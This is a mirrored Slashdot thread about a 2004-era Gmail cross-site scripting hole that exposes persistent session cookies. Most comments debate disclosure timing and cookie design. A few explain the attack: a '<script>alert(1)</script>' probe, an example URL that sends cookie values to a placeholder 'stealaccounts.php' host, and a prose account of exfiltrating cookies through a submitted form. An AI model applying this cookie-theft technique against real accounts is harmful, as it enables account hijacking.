Slashdot Mirror

← Back to Stories (view on slashdot.org)

Gmail Accounts Vulnerable to XSS Exploit

Posted by michael on from the ooooooops dept.

mallumax writes "A security hole in GMail has been found (an XSS vulnerability) which allows access to user accounts without authentication. What makes the exploit worse is the fact that changing passwords doesn't help. The full details of the exploit haven't been disclosed. The vulnerability was reported by Israeli news site Nana. They were tipped off by an Israeli hacker. Google has been notified and they are working to close the hole. The Register has the story here."

232 comments

  1. Oh no! by scaaven · · Score: 5, Funny

    My google stock. My poor google stock!

    --
    I know I'm going to be modded up on this
    1. Re:Oh no! by PickyH3D · · Score: 1

      Not if you bought it at the start! Nothing poor about it!

  2. Isn't it... by Sheetrock · · Score: 2, Insightful

    just a bit irresponsible to be coming out with this before Google has had a chance to fix it?

    --

    Try not. Do or do not, there is no try.
    -- Dr. Spock, stardate 2822-3.




    1. Re:Isn't it... by realdpk · · Score: 4, Insightful

      No. Certainly not. People should be made aware of security issues. Especially for free services like this, where people have no guarantee they will ever be addressed.

    2. Re:Isn't it... by Taco+John · · Score: 1

      I don't think so, people have a right to be warned about a problem. Now, it is irresponsible if you withheld anything from Google as they tried to fix the problem.

    3. Re:Isn't it... by moonbender · · Score: 4, Funny

      I guess they weren't kidding when they said it's still in beta...

      --
      Switch back to Slashdot's D1 system.
    4. Re:Isn't it... by LiquidCoooled · · Score: 4, Insightful

      Its not like a local exploit where we can stop using it, or update ourselves.

      This SHOULD get maximum exposure. Maybe then the heads in google will jump on this with all their PHDs.

      As for not fixing it, I doubt thats an option. Such a monumental failure so start in their public offering will be devistating to them.

      --
      liqbase :: faster than paper
    5. Re:Isn't it... by DaHat · · Score: 3, Informative

      Some might agree... others would say that if that was the case, Microsoft (and others) would never fix security holes if they are not known.

      --
      Help Brendan pay off his student loans
    6. Re:Isn't it... by lukewarmfusion · · Score: 4, Insightful

      Yes and no.

      Yes - Google should have the opportunity to fix this appropriately, not racing against the slew of hackers, crackers, and script kiddies that want to exploit it.

      No - People should aware of security risks in the software, hardware, etc. that they use and upon which they rely.

      Personally, I prefer to inform the company of vulnerabilities and offer to help fix them. It's helped me land clients and discredit competitors.

    7. Re:Isn't it... by LiquidCoooled · · Score: 2, Insightful

      I should clarify that apart from deleting all my mail and closing my account I can do nothing about it. I don't want to lose my account though, I *like* gmail, and certainly don't want to go back to the hotmail wasteground.

      (and also look sheepishly at the grammatical screwup in my previous post)

      --
      liqbase :: faster than paper
    8. Re:Isn't it... by a16 · · Score: 2, Informative

      Some might agree... others would say that if that was the case, Microsoft (and others) would never fix security holes if they are not known.

      Yes - but the key is that you should give the company in question enough time to be able to get a fix out before releasing the issue to the public. I haven't been able to RTFA however unless Google have not taken any action after a reasonable timeframe (say a week) posting the issue on slashdot is not going to solve the problem any faster, and hence is just making more kiddies aware of this.

      Keeping an issue you discovered 'secret' for a reasonable timeframe is the much more sensible option, you only need to go public if the issue is not fixed promptly.

    9. Re:Isn't it... by Anonymous Coward · · Score: 0

      I haven't been able to RTFA

      Are you blind, illiterate, or just plain lazy? It's a 1/2 page article for crying out loud!

    10. Re:Isn't it... by Jason1729 · · Score: 1

      It will always "still" be in beta for 2 reasons. One is so they don't have any liability when things like this happen; after all they never said it was stable or secure, it's a work in progress. Two is that they're getting a lot of data to build up a social network with their invite system. With the rate at which invites are made available it is practically open now, you just need a link for their social network to join.

      Jason
      ProfQuotes

    11. Re:Isn't it... by xeon4life · · Score: 1

      The parent is the most insightful comment I've ever read on Slashdot...

      Bravo...

      --
      Real programmers can write assembly code in any language. -- Larry Wall
    12. Re:Isn't it... by bhtooefr · · Score: 4, Interesting

      Actually, those aren't the primary reasons. A Google app can be perfectly stable, and still be in beta, because "beta" for Google means looking for a way to make money off of it.

      Now, I don't have a problem with that at all. Also, I do agree that in this case, Google has GMail in beta for other reasons too (maybe not even the making money off it part - AdWords has been adapted to GMail, so they might already be making money off of it).

    13. Re:Isn't it... by downbad · · Score: 2, Funny
      It will always "still" be in beta for 2 reasons. One is so they don't have any liability when things like this happen; after all they never said it was stable or secure, it's a work in progress.
      like every project on freshmeat and sourceforge. ;)
    14. Re:Isn't it... by lukewarmfusion · · Score: 4, Interesting

      I did see an XSS proof-of-concept exploit (maybe yours) where the hacker imitated a Google page asking the user to pay for Google use. It was quite convincing.

      In that case, the exploit had been known for a long time. In the interest of protecting the not-so-savvy (read: gullible) users, publicity may get the attention needed for them to do their jobs. Giving them a reasonable chance to respond with their fix. Two years is way more than reasonable.

      To play devil's advocate, I'd say that it's not your responsibility to make sure their site is secure. If they want to leave it there, they can - and publicizing it is simply going to hurt those users that you'd seek to protect. It'll end up hurting Google in the end anyway.

      Personally, I prefer to do a "good deed" and help make the web a little safer for people like my wife's grandparents.

    15. Re:Isn't it... by JibberJim · · Score: 0, Redundant

      That was mine, that one has since been fixed http://jibbering.com/2004/10/google.html-Iknowofac oupleofothersthoughwhichhaveyettogopublic.Iagreeit 'sgooglesresponsibility,andsomeoftheflawsthatareth erearen'tthebugsofpeoplewhounderstandtheissues-one ofthegoogledesktopbugsisbecauseasearchforalert(1) is written straight into the source of the document unencoded! That's not a bug of developers who know what they're doing, or have good security procedures in place. I think they need a lot of publicity so like MS can start getting a real culture of security in.

    16. Re:Isn't it... by JibberJim · · Score: 2, Informative

      That was mine, that one has since been fixed http://jibbering.com/2004/10/google.html -I know of a couple of others though which have yet to go public.

      I agree it's googles responsibility, and some of the flaws that are th ere aren't the bugs of people who understand the issues - one of the google desktop bugs is because a search for <script>alert(1)</script> is written straight into the source of the document unencoded!

      That's not a bug of developers who know what they're doing, or have good security procedures in place. I think they need a lot of publicity so like MS can start getting a real culture of security in.

    17. Re:Isn't it... by Saratoga+C++ · · Score: 2, Insightful

      To be honest I think google's getting off easy.

      Just about every MS security hole that comes out has the exploit code attached. Sense google's not an "evil" company the exploit is kept secret? What is the reason that an Operating System Security Hole is given with code and a beta webmail service exploit isn't?
      IIRC: Wasn't hotmail's exploit also given with a snippit of code/instructions on how to do it? This is the same thing but with a different company.

      I'm not trying to say "release the 'sploit" but I am saying that it does set a set of different standards for companies that offer the same service (e-mail over a web based interface). Why is it that one is realeased (and linked on slashdot iirc) and one is kept from prying eyes (Keep gmail safe)?

    18. Re:Isn't it... by PickyH3D · · Score: 1

      Only if it is not Microsoft. Right Slashdot?

    19. Re:Isn't it... by arkanes · · Score: 1

      Is it really that hard to understand that people like Google and will cooperate with them, and they don't like Microsoft and therefore won't expend any effort to be nice? This is basic Golden Rule stuff.

    20. Re:Isn't it... by Saratoga+C++ · · Score: 2, Insightful

      Yes, yes it is and I"ll tell you why.

      In both instances your harmnig the user with these exploites (given hotmail/gmail's exploits). Also with the OS exploites. The users is harmed. Sure this indirectly harms MS but your still exposing the users of the product.

      What this amounts to IMHO is that for some reason gmail users are more precious then hotmail users or that hotmail users diserve to be hacked becuause they are users of the service. Thats shows a rather large power trip issue on the part of the person reporting the exploit.

    21. Re:Isn't it... by Anonymous Coward · · Score: 0

      I have a 2 inches monitor, so it's 72 pages article for me, way too long for my attention span.

    22. Re:Isn't it... by arkanes · · Score: 1
      Nobody asked if it was okay. They asked why. It'd be a nice world if everyone was treated fairly and evenly but I think it's pretty safe to say to the sort of person who writes and uses exploits, yes, hotmail users are less precious than gmail users.

      It's not a power trip per se (I suppose it is in some cases), but a disdain for (for example) hotmail and microsoft and the users thereof. You find much the same sort of attitude toward AOL. In the case of Hotmail/Microsoft it's increased by Microsofts (percieved?) disdain and disregard for them and what they consider important.

      Yes, I think reasonable vender notification is a responsible thing to do. But I understand why people aren't willing to extend it to Microsoft. And while I don't agree with it, the argument of "user a better service" or "use a better operating system" certainly does have merit.

    23. Re:Isn't it... by a16 · · Score: 1

      Are you blind, illiterate, or just plain lazy? It's a 1/2 page article for crying out loud!

      Neither of the links were loading for me at the time I posted, I'm sure you're familiar with the concept at slashdot. Perhaps you'd care to comment on the subject at hand, like I did?

      And having now been able to read the articles, it isn't mentioned anywhere how long google have had to resolve this issue. As per my previous post, going public without giving a reasonable amount of time for the issue to be fixed achieves nothing other than potentially more exploits.

  3. Google needs to toss its cookies... by LostCluster · · Score: 5, Informative

    The articles reveal that the basic design of the bug is to snatch the victim's cookie, and then the hacker can use that cookie to get into the account forever more. That cookie will always lead to the victim's account no matter what... even if they log out, even if they change their password, the cookie will still be valid authentication.

    The XSS part is just an example of a way to steal the user's cookie. Clearly, any other way you can think of to grab a cookie file would work just as well.

    It's a surprisingly bad design by Google standards. By assigning an forever-good cookie value each users account, it eliminates the need to re-login at home after using GMail at a public terminal, but the problem is if that cookie value ever falls into enemy hands the account is compromised and cannot be re-secured. Re-assigning the cookie value at each logon is the more traditional way of securing such things, although that means users who hop between more than one computer or even browser would have re-authenticate every time they changed.

    1. Re:Google needs to toss its cookies... by ArbitraryConstant · · Score: 4, Informative

      I don't believe they use a forever cookie, they use a cookie that's invalidated after you log out OR (optionally) a 2 week cookie.

      What I don't like about it is that it doesn't use SSL after you log in.

      --
      I rarely criticize things I don't care about.
    2. Re:Google needs to toss its cookies... by LostCluster · · Score: 5, Informative

      The cookie file gets invalidated... but the problem is if you log back in, instead of getting a new value in your new cookie, apparently you get the same old value again. And worse yet, even if you don't log in again, bringing back that old cookie from the dead is all that's needed to log in.

      It's not the experation date on the cookie that's the problem, it's the fact that their database still assocates "your cookie" with your account even if there's no authorized cookie in circulation.

    3. Re:Google needs to toss its cookies... by kinema · · Score: 5, Informative
      What I don't like about it is that it doesn't use SSL after you log in.
      Actaully if you enter "https://gmail.google.com/gmail" in the location bar of your favorite browser you will continue to use a SSL secured connetion after for the duration of your session.
    4. Re:Google needs to toss its cookies... by arunkv · · Score: 0, Redundant
      What I don't like about it is that it doesn't use SSL after you log in.

      That's not true. You can use SSL all throughout. Simply start at https://gmail.google.com/gmail or even just manually change it to https after login.

    5. Re:Google needs to toss its cookies... by Ryan_Singer · · Score: 0, Redundant

      If you goto https://gmail.google.com/ it will stay SSL throughout the session.

      --
      Ryan Singer
    6. Re:Google needs to toss its cookies... by Hen3ry · · Score: 0, Redundant

      Well, it certain can use SSL after you log in. Just start with: https://gmail.google.com

      --
      ...both ears and the tail.
    7. Re:Google needs to toss its cookies... by slavemowgli · · Score: 1

      It doesn't automatically use SSL, but if you use https://gmail.google.com , you still get it.

      --
      quidquid latine dictum sit altum videtur.
    8. Re:Google needs to toss its cookies... by widow,black · · Score: 2, Interesting

      What if I delete the cookie after I sign out? =/

    9. Re:Google needs to toss its cookies... by fo0bar · · Score: 1

      One safe way to use cookies in a situation like this is to use a 3-way hash token. Take 3 elements: a random string (generated by google), the user's password, and a secret key stored in the google API. Whenever you log in, google takes these 3 elements, hashes them all together, and sets a cookie containing the random string and the hash. Whenever the user re-visit gmail, google re-does the procedure using the same random string, the user's password, and the server's secret key. If the hash matches, they are allowed continued access. If not, the user has to validate their user/pass.

      That way, 1) the cookie doesn't store a plain-text password of anything stupid, 2) if the user's cookie is stolen, the user can change his password and previous cookies are invalidated, 3) if gmail's private keyword is compromised, people on the outside can't craft a cookie for ANY user (also, gmail can just create a new private keyword, which will force all gmail users to re-validate their user/pass).

    10. Re:Google needs to toss its cookies... by rnicey · · Score: 1, Insightful

      It's really iffy design.

      The hash or whatever that validates the cookie's authenticity should have the IP address and expiry time (from the servers point of view) embedded in it. Why this isn't part of some standard library for a software house like Google makes me wonder...

    11. Re:Google needs to toss its cookies... by PickyH3D · · Score: 1

      At least it shows they are not storing the password in the cookie. Of course, that's a good and bad thing.

    12. Re:Google needs to toss its cookies... by mccrew · · Score: 2, Funny
      What I don't like about it is that it doesn't use SSL after you log in.

      ...which is important, because I want to read my mail over an encrypted link even though it travelled through several ISPs' data centers, many networks, a backbone or two, and probably even the FBI's scanners, IN THE CLEAR!!!

      --
      Hey, Windows users, there is no such thing as "forward" slash, there is only slash and backslash.
    13. Re:Google needs to toss its cookies... by casuist99 · · Score: 2, Insightful

      My immediate concern is the fskers who live in my apartment complex. We use a shared internet connection (300 of us on a dual T-1, ouch) for the entire complex. Now, I can't be the only person who knows that an un-administered network (no kidding) will be rife with people screwing around.

      I know that my email travels through routers and ISPs in the clear, but they probably don't know me personally. I'm more worried about my roommates sniffing the traffic coming from my computer to the gateway and reading my email. Or the shithead upstairs who I've called the cops on. You get my point.

      Important stuff, duh you've got to be encrypting it from sender-to-receiver. Semi-private stuff, I'd at least like to know my neighbors aren't reading. https://gmail.google.com/gmail is very helpful to me for that purpose. Thanks for pointing that out.

    14. Re:Google needs to toss its cookies... by Moofie · · Score: 1

      Well, everybody who doesn't is still fucked, so it's not a very good solution to the problem, is it?

      --
      Why yes, I AM a rocket scientist!
    15. Re:Google needs to toss its cookies... by mlyle · · Score: 1

      The problem is that if someone steals your cookie, it's a perpetual credential. So the impact of any other security vulnerabilities that allow someone to steal your cookie are much greater.

    16. Re:Google needs to toss its cookies... by Andrewkov · · Score: 1

      You're assuming the cookie can't be edited by the hackers. I guess it could be encoded somehow, but still not foolproof.

    17. Re:Google needs to toss its cookies... by Nurgled · · Score: 1

      One possible approach would be to put the expiry time in the clear in the cookie but also to hash it with the password so that (assuming the hashing algorithm is good) you can only edit the cookie if you know the password. Of course, the easier option would just be to have the session expire on the server, just like every other system under the sun.

      You can't use the remote IP address, though, because several ISPs (AOL, for instance) use a pool of HTTP proxy servers to handle HTTP requests for users, so each request from the same host might well go through a different proxy. The HTTP headers for proxy tracking are useless in this situation because the client can just forge them to look like the legitimate user was proxying through the attacker's host.

  4. Oh my god! by Zangief · · Score: 5, Funny

    Maybe some hacker will make a program to break into every gmail account, read their mail, and send them ads about what people are talking about in mails!!!

    1. Re:Oh my god! by Anonymous Coward · · Score: 0

      Maybe some hacker will make a program to break into every gmail account, read their mail, and send them ads about what people are talking about in mails!!!

      I don't think so. My account was broken into and I still get usually porn and penis enlargement ads. Oh, wait a minute...

  5. XSS isn't that big a deal by checkitout · · Score: 1

    Cross site scripting should not be considered a vulnerability.

    1. Re:XSS isn't that big a deal by Sheetrock · · Score: 4, Insightful
      Well, the problem is that we're looking at each individual XSS exploit as a vulnerability when we should be looking at XSS itself as an unwholesome feature in general.

      Like when we started treating e-mail as a file transfer protocol, or when documents began to contain executable content, XSS gives an avenue of attack by adding a new and unrequested behavior to something that used to be secure. We need to reduce these channels of exploitation if computers are going to become secure -- especially as we head towards a homogenized environment on the Internet with regards to executable code (.NET/Java).

      --

      Try not. Do or do not, there is no try.
      -- Dr. Spock, stardate 2822-3.




    2. Re:XSS isn't that big a deal by phasm42 · · Score: 5, Interesting

      XSS is not the real problem here. The real problem is that the cookie can be used to authenticate an account. If you get a copy of the cookie and take it to another machine, you could log on using that cookie, even after the cookie has expired. This is a poor design, and XSS is just one way to exploit this. Another would be to simply copy Mozilla's cookies.txt file, or whatever browser you use. Or to sniff out the cookie over the network and use it from then on.

      --
      "No one likes working in a hamster wheel, and your shop smells of cedar shavings from here." - TaleSpinner
    3. Re:XSS isn't that big a deal by Anonymous Coward · · Score: 0

      Hmmm... I was playing around with the IE ActiveX control for the hell of it trying to write a script to automatically click google ads - more of a proof of concept than anything - I was never planning to use it - but I'm posting as AC anyway. I got well into it until I received an access denied message on the iframe.

      There's apparantly a C++ way to get around that security hole, but I'm lazy, so I stopped. Looks like XSS is defined as a security hole according to microsoft IE. And you know if IE calls it a security hole... It must be pretty serious :)

    4. Re:XSS isn't that big a deal by mallumax · · Score: 2, Insightful

      XSS was highlighted because that's easiest way to steal the cookie without physical access to the machine which the victim uses.(correct me if i'm wrong).XSS makes it extremely easy for an attcker to social engineer a user into divulging his cookie, using a malformed hyper link in a mail. Though GMail was initially limited to computer savvy people it has now percolated to the masses.As the spread of recent viruses have shown social engineering normal users is trivial.

      --
      TechSutra
    5. Re:XSS isn't that big a deal by jesser · · Score: 1

      XSS is never a feature and always an unintentional security hole. The "feature" in the design of the Web that makes XSS possible is the ability for a site to link to another site.

      Your other examples are wrong, too.

      --
      The shareholder is always right.
  6. sweet grapes by yahyamf · · Score: 5, Funny

    I waited so long to get a Gmail account, I don't care if it sucks now... I also like Doom3...

    1. Re:sweet grapes by miskatonic+alumnus · · Score: 1

      People don't have to wait for an account anymore!

    2. Re:sweet grapes by theguru · · Score: 1

      If your e-mail address had been in your profile, I would have sent you an invite.. ohh well. It's probably for the best. :)

    3. Re:sweet grapes by Anonymous Coward · · Score: 0

      Especially since his post implies that he now has one.

    4. Re:sweet grapes by Lxy · · Score: 1

      According to your theory, Duke Nukem Forever will be the best game ever released.

      --

      There is no reasonable defense against an idiot with an agenda
      :wq
  7. Cookie file by crow · · Score: 1

    So isn't the real issue that there are bugs that allow your cookie file to be exposed? Shouldn't those be considered critical security bugs regardless of what Google does?

  8. I must do my part to help. by teamhasnoi · · Score: 5, Funny

    The first person to fix the exploit will get a FREE GMAIL INVITE!

    1. Re:I must do my part to help. by LiquidCoooled · · Score: 2, Funny

      I've already got a gmail account, can I have a free iPod instead ;)

      --
      liqbase :: faster than paper
    2. Re:I must do my part to help. by Weirdofreak · · Score: 1, Offtopic

      And I'll give one to the first person who can explain how somebody's going to fix it without an account.

      No IPods or the like though. Nyer.

    3. Re:I must do my part to help. by wdconinc · · Score: 0, Offtopic

      Thank you, I sent it to myself ;-)

    4. Re:I must do my part to help. by pipingguy · · Score: 0, Offtopic

      Screw that, I want a free Ipod.

    5. Re:I must do my part to help. by teamhasnoi · · Score: 1

      You were robbed. That was a good one. You win!

  9. Danger, Will Robinson by d_jedi · · Score: 0, Redundant

    Holy $!@#)( this is bad news. Let's hope the Google people resolve this very, very quickly.. or I'm switching e-mail providers (yet again).

    --
    I am the maverick of Slashdot
    1. Re:Danger, Will Robinson by Anonymous Coward · · Score: 0

      Sorry to burst your bubble but no one cares about you enough to read your e-mail.

    2. Re:Danger, Will Robinson by Anonymous Coward · · Score: 0

      Stop making excuses, this is almost non-user interaction. Links should not be dangerous, if they are they should not be displayed.

  10. Other bugs?? by Anonymous Coward · · Score: 4, Interesting

    Did anybody else notice when they were coming up with unique login names when they first set up their gmail account that oftentimes the "Blahblah@gmail.com is taken" message would often be some other email address somebody else was trying? I mean, if you tried "johndoe@gmail.com" and it was taken, sometimes it would respond with "joeschmoe1234@gmail.com is already taken, try again".

    1. Re:Other bugs?? by Anonymous Coward · · Score: 1, Informative

      it is because of this bug:

      http://www.networksecurityarchive.org/html/FullDis closure/2004-07/msg00197.html

    2. Re:Other bugs?? by Anonymous Coward · · Score: 0

      No, but if you want me to try reproducing that bug, just send me your cookies.txt file and I'll see what I can do... :)

    3. Re:Other bugs?? by themoodykid · · Score: 1

      Thank you for this. I was wondering if anybody else had noticed it.

    4. Re:Other bugs?? by jardin · · Score: 0

      Your name may have contained a certain "block word" in it. Anything containing gmail, google, and most curse words, even if not intentional, would come back as "already in use."

  11. PSA: XSS cookie theft by whovian · · Score: 5, Informative

    Never heard of XSS until now (like me)? Here is one summary one summary of what the cookie theft looks like.

    --
    To-do List: Receive telemarketing call during a tornado warning. Check.
    1. Re:PSA: XSS cookie theft by Anonymous Coward · · Score: 0

      Never heard of PSA until now (like me)? Here is zero summary one summary of what the prostate problem looks like.

    2. Re:PSA: XSS cookie theft by Anonymous Coward · · Score: 0

      public service announcement /fark.com

  12. it IS a beta... by jathan88 · · Score: 1, Redundant
    As the article points out, it's a good thing that this was found before Gmail went into "official" release. I think it's great that Google *admits* that the product is still in beta, instead of releasing it as is and pretending that it's a polished product.

    Anybody who uses a beta product for critical email shouldn't be entirely surprised when they run into trouble...

    1. Re:it IS a beta... by YrWrstNtmr · · Score: 1
      Account security problems should be worked out long before public beta status. Beta should be reserved for functionality, GUI, and interoperability issues.

      I wonder how many people are using this 'beta'?

    2. Re:it IS a beta... by buzzini · · Score: 5, Insightful

      Labeling something "beta" almost indefinitely should not be a get-out-of-jail-free card. It seems to me that once a product is in fairly widespread use -- once a product has a marketing plan behind it -- saying "no fair, it's a beta!" is a little disingenuous.

    3. Re:it IS a beta... by Anonymous Coward · · Score: 0

      It's not just any beta at that. It's a public beta.

    4. Re:it IS a beta... by Anonymous Coward · · Score: 0

      Hard to use the beta argument when they pass out invites like there was no tomorrow. Everyone I know has a Gmail account and now it's getting to the point where it is hard to give out all the invites I get because almost everyone that wants want already has one.

    5. Re:it IS a beta... by RetroGeek · · Score: 5, Informative

      Beta should be reserved for functionality, GUI, and interoperability issues.

      No that is alpha. Once all the functionality is complete, the GUI has been approved, and the application can talk to the other applications it needs to, THEN the product goes into beta testing.

      Beta is there to locate any bugs which made it past the alpha testers. Beta apps are considered feature complete.

      --

      - - - - - - - - - - -
      I am a programmer. I am paid to produce syntax not grammar. Deal with it.
    6. Re:it IS a beta... by Anonymous Coward · · Score: 0

      though it is in beta this particular vulnerability is not a bug but a design flaw that shouldnt have made it beyond the design review phase. If you are finding design flaws during beta testing it doesnt say much about the design and the design review process.

    7. Re:it IS a beta... by pipingguy · · Score: 2, Insightful


      Labeling something "beta" almost indefinitely should not be a get-out-of-jail-free card. It seems to me that once a product is in fairly widespread use -- once a product has a marketing plan behind it -- saying "no fair, it's a beta!" is a little disingenuous.

      Agreed, maybe Google is laurel resting in the wake of the IPO.

      Do you remember web searching prior-Google? I used to take pride in knowing the Hotbot and AltaVista switches (and nand not) but Google's 1998 blew all that away. That level of knowledge was no longer necessary. There's probably a lesson in there somewhere.

    8. Re:it IS a beta... by ultranova · · Score: 1

      Account security problems should be worked out long before public beta status. Beta should be reserved for functionality, GUI, and interoperability issues.

      It is illogical to do bugtesting first and add features afterwards. Each and every feature could potentially cause security problems.

      That's why you add features in alpha stage, and do the bugtesting at beta stage. That's why it's called "beta testing"...

      Of course, it's perfectly okay to add a feature, bugtest it, add another feature, bugtest it and so on. Just as long as you remember that the application will re-enter beta status every time you add a feature.

      --

      Forget magic. Any technology distinguishable from divine power is insufficiently advanced.

    9. Re:it IS a beta... by WIAKywbfatw · · Score: 5, Insightful

      Care to explain what marketing plan for Gmail you've seen? So far, Google has issued a couple of press releases - announcing its intention to offer email services, etc - but nothing more than that, and it's made it repeatedly clear that the service is in beta.

      Have you ever seen more than that? Have you seen any advertising (banner or otherwise) for the service? Just how do you contend that Google is marketing it?

      And how the hell are you defining "fairly widespread use"? Just how many Gmail accounts do you think there are? 100,000? A million? Well, in comparison, how many Microsoft Hotmail or Yahoo Mail accounts do you think there are out there? I'd be surprised if Gmail had even a hundredth of the user base that its key competitors possess.

      Gmail is in beta. Until they say it's not in beta please accept that nothing should be taken for granted. And the fact is that even "shipped" products aren't error free, so either learn to accept that things sometimes go wrong with software or just stop using a PC altogether.

      --

      "Accept that some days you are the pigeon, and some days you are the statue." - David Brent, Wernham Hogg
    10. Re:it IS a beta... by vkapadia · · Score: 1
      Although I agree that that labeling something "beta" shouldn't be a near indefinite get-out-of-jail-free card, in their partial defense, they ARE still restricting access to GMail to invitation only. I'd say that's fairly responsible of them...

      Taken from
      http://gmail.google.com/gmail/help/about.htm l#sign up

      How do I sign up? When can I get a Gmail account?

      We're currently only offering Gmail as part of a preview release and limited test. We don't have details on when Gmail will be made more widely available, as that depends in part on the results of the test. If you're interested in receiving updates on Gmail, submit your email address using the form at the bottom of this page.
    11. Re:it IS a beta... by QuantumFTL · · Score: 4, Informative
      Labeling something "beta" almost indefinitely should not be a get-out-of-jail-free card. It seems to me that once a product is in fairly widespread use -- once a product has a marketing plan behind it -- saying "no fair, it's a beta!" is a little disingenuous.

      I highly disagree. When I use a product which is in "Beta" I do not expect it to meet the same level of stability/security etc. To do so is rediculous - anyone who develops software should understand why products of this kind require an extended beta period. It's definitely the best time to make last minute changes, adjustments, and to find problems like this. Finding these problems is the whole point of it being Beta in the first place. Anyone who's using this service for anything important, and then complaining about problems they have (other than as normal beta feedback) is being unreasonable!

      From their Terms of Use:
      you understand and agree that the Service is provided on an AS IS and AS AVAILABLE basis.
      Their terms of service are very short, and easy to understand (not like most software agreements) and use of gmail is not only FREE, but it's entirely optional. No one's making you use it. People should not have the same level of expectation for this new service as they do of the original search engine, and if they, that's their own ignorance.

      I also highly doubt that this beta period will last that much longer. GMail is becoming popular enough that the bugs and changes should be done soon.

      Cheers,
      Justin
    12. Re:it IS a beta... by YrWrstNtmr · · Score: 1
      By interoperability, I meant mixing with the wider world of user machine configurations/combinations. Which is near impossible for any one company to test fully.
      By GUI, I meant GUI usability. Again, can be tested inhouse with a limited number of users, but you need to let it loose with a wide range of regular civilians.
      Funcionality = "Hey, wouldn't it be neat if it did X". "ok...we'll see"

      But again, cookie/security issues such as this should never made it past alpha.

    13. Re:it IS a beta... by Anonymous Coward · · Score: 0

      Do you remember web searching prior-Google? I used to take pride in knowing the Hotbot and AltaVista switches (and nand not) but Google's 1998 blew all that away. That level of knowledge was no longer necessary. There's probably a lesson in there somewhere.

      A lesson, like, don't make easy search engine because you will make insecure email service several years later? Great lesson, I agree.

  13. Is it really forever? by RealAlaskan · · Score: 1
    The Nana article says that it works by stealing your cookies, so I don't think the problem should last longer than two weeks, since that's how long the Gmail cookies are supposed to be good for.

    I've been using the Gmail account for stuff I could afford to lose, since there doesn't seem to be any way to shift it in bulk to my home computer. Now I'm really glad I didn't use it for anything important.

    --
    See what I've been reading.
    1. Re:Is it really forever? by CaptainBaz · · Score: 1
      there doesn't seem to be any way to shift it in bulk to my home computer
      Sure there is - fetchgmail.

      Works great for me.
    2. Re:Is it really forever? by Anonymous Coward · · Score: 0

      other than fetchgmail, there is also freepops (freepops also does yahoo and hotmail). what it does, is that it makes your webmail appear as if it was pop3.

  14. I got it by headbulb · · Score: 1

    Don't Use gmail..

    Can I have that invite now?

    Just joking I already have a gmail account, as a sidenote gmail is the best free email service I have used.

    1. Re:I got it by the_2nd_coming · · Score: 1

      even better is freepops which is a POP3 proxy on your computer that has plugins to login and download all your mail from what ever service you like to what ever client you like.

      makes G-mail much better, as well as hotmail and yahoo mail :-)

      --



      I am the Alpha and the Omega-3
    2. Re:I got it by Anonymous Coward · · Score: 5, Funny

      Yeah, I agree. Your gmail account is the best mail I've ever used.

      - Anonymous Cookie monster

  15. In other news... by Anonymous Coward · · Score: 0

    Real protocols like IMAP4 still secure when using proper authentication and SSL.

  16. Need more than just the username by Dominic_Mazzoni · · Score: 5, Informative

    I may be misinterpreting the story, but it sounds to me like you need more than just the username: you need to actually trick the user into giving you their GMail cookie by phishing. Obviously, this is a huge security hole and Google should fix it immediately, but it's not quite the same as the Hotmail backdoor from last year, which didn't require phishing at all. As long as you don't ever click on a link that sends you to GMail from an untrusted source, you should be safe.

    1. Re:Need more than just the username by contagious_d · · Score: 1

      Yeah, I was about to make the same comment. It seems like the seriousness of this was hyped up to make the news agency look better.

      --
      - /home is where the food is.
    2. Re:Need more than just the username by poot_rootbeer · · Score: 5, Insightful

      you need to actually trick the user into giving you their GMail cookie by phishing. ...or by grabbing the cookies left behind by previous users off a public terminal.

      But that's a minor concern, no one ever uses a public computing terminal to check webmail, or walks away without logging out properly.

    3. Re:Need more than just the username by daft_one · · Score: 1, Funny

      Especially not all those people at my local college, who returned to find their hotmail was in Mandarin Chinese.

    4. Re:Need more than just the username by Anonymous Coward · · Score: 1, Interesting

      it's not quite the same as the Hotmail backdoor from last year, which didn't require phishing at all

      Unless someone figures out how the cookies are generated. In which case an attacker can brute force access to any number of gmail accounts.

      As long as you don't ever click on a link that sends you to GMail from an untrusted source, you should be safe.

      Bwhahaha ... yeah, that worked out so well for IE ...

    5. Re:Need more than just the username by phrenq · · Score: 1

      No, an XSS exploit allows javascript to be run, which can be used to grab cookies and send them off somewhere else. This is potentially a HUGE hole.

    6. Re:Need more than just the username by JohnFluxx · · Score: 1

      Unlikely. The chance of guessing someone elses session id is near zero.

    7. Re:Need more than just the username by Anonymous Coward · · Score: 0

      The way I understand this, it's not phishing. XSS uses some script that's run on the site itself - ie, inside an e-mail. the domain will be gmail.com; the e-mail will contain some javascript that, say, loads an image. javascript has access to cookies, so if they just set the image source to cookie values, they can load a url such as:
      "http://whatever.com/stealaccounts.php?accoun t=" + gmailCookieAccountName + "&password=" + gmailPassword

      gmail doesn't actually store the password in a cookie, but the concept is the same - the cookie contains some sort of authentication information which can be transmitted to whomever, simply by opening the e-mail containing the script. no clicking links, no entering your account information into www.gmailsecurity.com or whatever.

    8. Re:Need more than just the username by bedessen · · Score: 1

      "Score: 5, Informative"? Hardly. You are misinterpreting. This has nothing to do with phishing. If this is anything like the majority of XSS attacks all you need to do is get the victim to READ your email. Not click on anything, not enter any info, just view the email.

      The key here is that google must santize all emails so that any embedded javascript is not executed. If you can craft an email that gets by google's filtering, then then javascript will be run in the context of the google.com domain, which means it has access to the google.com cookies. That's what the "cross" in Cross Site Scripting means -- getting your script code run under the pretext of some other site's URL. The cookie security model means that if the browser is running javascript from a page from google.com then it has access to google's cookies. But javascript running in a page on attacker.com does not have access to google.com's cookies, only those for attacker.com.

      From there it's a simple matter to submit the data (create a form with a couple of fields and call its submit() function) to a server under the attacker's control. From there they have the login name and cookie data for the victim, and can now log on as them.

      The same sort of attack is the motivation behind a lot of other XSS attacks. For example, say there was a forum script (*chough* phpBB *cough*) that did not sanitize input sufficiently. Normally, if you type javascript into a post it should be quoted or escaped so that it's not executed. However, if you fool this quoting code, then your javascript will run when the page is viewed. So you make a post that contains this javascript code, then whoever views your post will cause the JS to execute, and since it's a page under the forum's domain it has access to the forum's cookies. So you somehow transmit that data back to the attacker, and now he can log on as anyone that read the malicious post. No user intervention necessary.

  17. Good thing they are still in beta. by bill_kress · · Score: 5, Funny

    They caught this problem in beta, just as should be done! Bravo!

    Brings some true professionalisim to an industry where companies actually ship/sell products with bugs like this all the time.

    1. Re:Good thing they are still in beta. by Anonymous Coward · · Score: 1, Insightful

      They can call it beta all they want, but they obviously want people to use it as their primary e-mail account now. Just because they call it beta, doesn't exempt them from responsibility when they put their product out on the open market.

